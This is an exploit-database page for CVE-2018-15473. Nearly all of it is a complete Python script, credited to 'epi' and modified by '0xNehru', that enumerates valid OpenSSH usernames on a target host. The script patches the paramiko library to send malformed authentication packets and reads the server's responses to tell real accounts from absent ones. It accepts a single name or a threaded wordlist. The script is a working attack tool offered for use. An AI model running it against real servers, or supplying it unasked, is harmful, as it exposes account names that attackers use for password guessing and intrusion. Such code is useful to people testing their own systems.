Exploit database

GH-46b05540024e247dd5362969fcf7aa4f

0xnehru/ssh_enum_vaild

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-15473

41 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
0xnehru/ssh_enum_vaildRevision 620d7d1b56a3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 7,123 bytes

#!/usr/bin/env python3
"""
SSH Username Enumeration Script - CVE-2018-15473
Author: epi (https://epi052.gitlab.io/notes-to-self/)
Modified and Improved by: 0xNehru
"""

import sys
import re
import socket
import logging
import argparse
import multiprocessing
from pathlib import Path
from typing import Optional

import paramiko

# Ensure Python version is >= 3.6
assert sys.version_info >= (3, 6), "This program requires Python 3.6 or higher."


class Color:
    """ Class for coloring print statements """
    BOLD = '\033[1m'
    ENDC = '\033[0m'
    RED = '\033[38;5;196m'
    BLUE = '\033[38;5;75m'
    GREEN = '\033[38;5;149m'
    YELLOW = '\033[38;5;190m'

    @staticmethod
    def string(string: str, color: str, bold: bool = False) -> str:
        """ Returns colored string """
        boldstr = Color.BOLD if bold else ""
        colorstr = getattr(Color, color.upper())
        return f'{boldstr}{colorstr}{string}{Color.ENDC}'


class InvalidUsername(Exception):
    """ Raised when a username is not found via CVE-2018-15473 """


def apply_monkey_patch() -> None:
    """ Monkey patch paramiko to send invalid SSH2_MSG_USERAUTH_REQUEST """
    
    def patched_add_boolean(*args, **kwargs):
        """ Override correct behavior to produce malformed packets """
        pass

    auth_handler = paramiko.auth_handler.AuthHandler

    # Handle both dictionary and property cases
    handler_table = getattr(auth_handler, '_client_handler_table', None)

    if handler_table is None:
        # Newer paramiko versions use a property instead of a dictionary
        handler_table = auth_handler.__dict__.get('_client_handler_table', {})

    if not isinstance(handler_table, dict):
        print(f"{Color.string('[!] Error:', 'red')} Unable to patch handler table (unexpected type)")
        return

    # Apply the patch
    old_msg_service_accept = handler_table.get(paramiko.common.MSG_SERVICE_ACCEPT)

    def patched_msg_service_accept(*args, **kwargs):
        """ Patch to inject invalid requests """
        old_add_boolean = paramiko.message.Message.add_boolean
        paramiko.message.Message.add_boolean = patched_add_boolean

        retval = old_msg_service_accept(*args, **kwargs)

        # Restore original behavior
        paramiko.message.Message.add_boolean = old_add_boolean
        return retval

    def patched_userauth_failure(*args, **kwargs):
        """ Raise exception for invalid usernames """
        raise InvalidUsername(*args, **kwargs)

    # Update the handler table with the patched methods
    handler_table.update({
        paramiko.common.MSG_SERVICE_ACCEPT: patched_msg_service_accept,
        paramiko.common.MSG_USERAUTH_FAILURE: patched_userauth_failure
    })


def create_socket(hostname: str, port: int, use_ipv6: bool) -> Optional[socket.socket]:
    """ Create socket connection (IPv4 or IPv6) """
    try:
        # Resolve hostname for both IPv4 and IPv6
        family = socket.AF_INET6 if use_ipv6 else socket.AF_INET
        addr_info = socket.getaddrinfo(hostname, port, family, socket.SOCK_STREAM)

        for addr in addr_info:
            af, socktype, proto, _, sa = addr
            try:
                sock = socket.socket(af, socktype, proto)
                sock.connect(sa)
                return sock
            except socket.error as e:
                print(f'{Color.string("[!] Connection failed:", "red")} {e}')
                sock.close()
                continue

    except socket.gaierror as e:
        print(f'{Color.string("[!] Address resolution failed:", "red")} {e}')

    return None


def connect(username: str, hostname: str, port: int, verbose: bool, use_ipv6: bool) -> None:
    """ Attempt SSH connection with invalid public key auth """
    sock = create_socket(hostname, port, use_ipv6)
    if not sock:
        return

    transport = paramiko.Transport(sock)

    try:
        transport.start_client()
    except paramiko.SSHException:
        print(Color.string(f'[!] SSH negotiation failed for user {username}.', color='red'))
        return

    try:
        # Attempt authentication with an invalid public key
        transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
    except paramiko.AuthenticationException:
        print(f"{Color.string('[+]', 'green')} {Color.string(username, 'yellow')} found!")
    except InvalidUsername:
        if verbose:
            print(f"{Color.string('[-]', 'red')} {Color.string(username, 'red')} not found")
    except Exception as e:
        print(f"{Color.string('[!] Unexpected error:', 'red')} {e}")


def main(hostname: str, port: int, threads: int, wordlist: Optional[str], username: Optional[str], verbose: bool, use_ipv6: bool):
    """ Main execution """
    sock = create_socket(hostname, port, use_ipv6)
    if not sock:
        return

    banner = sock.recv(1024).decode()

    regex = re.search(r'-OpenSSH_(?P<version>\d+\.\d+)', banner)
    if regex:
        version = float(regex.group('version'))
        ver_clr = 'green' if version <= 7.7 else 'red'
        print(f"{Color.string('[+]', 'green')} {Color.string('OpenSSH', ver_clr)} version {Color.string(str(version), ver_clr)} found")
    else:
        print(f"{Color.string('[!] Unable to detect OpenSSH version', 'yellow')}")

    apply_monkey_patch()

    if username:
        # Single username check
        username = username.strip()
        connect(username, hostname, port, verbose, use_ipv6)
        return

    # Multiple usernames from wordlist
    with multiprocessing.Pool(threads) as pool:
        with Path(wordlist).open() as file:
            usernames = [user.strip() for user in file.readlines()]

        jobs = [(user, hostname, port, verbose, use_ipv6) for user in usernames]
        pool.starmap(connect, jobs)

    print(f"{Color.string('[*]', 'green')} Scan completed.")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="OpenSSH Username Enumeration (CVE-2018-15473)")

    # Target information
    parser.add_argument('hostname', help='Target IP or hostname')
    parser.add_argument('-p', '--port', help='SSH port (default: 22)', type=int, default=22)
    parser.add_argument('-t', '--threads', help="Number of threads (default: 4)", type=int, default=4)
    parser.add_argument('-6', '--ipv6', action='store_true', help="Use IPv6 (default: IPv4)")

    # Mode selection (single username or wordlist)
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('-u', '--username', help='Single username to test')
    group.add_argument('-w', '--wordlist', help="Path to username wordlist")

    # Verbose output
    parser.add_argument('-v', '--verbose', action='store_true', help="Print both valid and invalid usernames")

    args = parser.parse_args()

    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

    # Execute main function with parsed arguments
    main(
        hostname=args.hostname,
        port=args.port,
        threads=args.threads,
        wordlist=args.wordlist,
        username=args.username,
        verbose=args.verbose,
        use_ipv6=args.ipv6
    )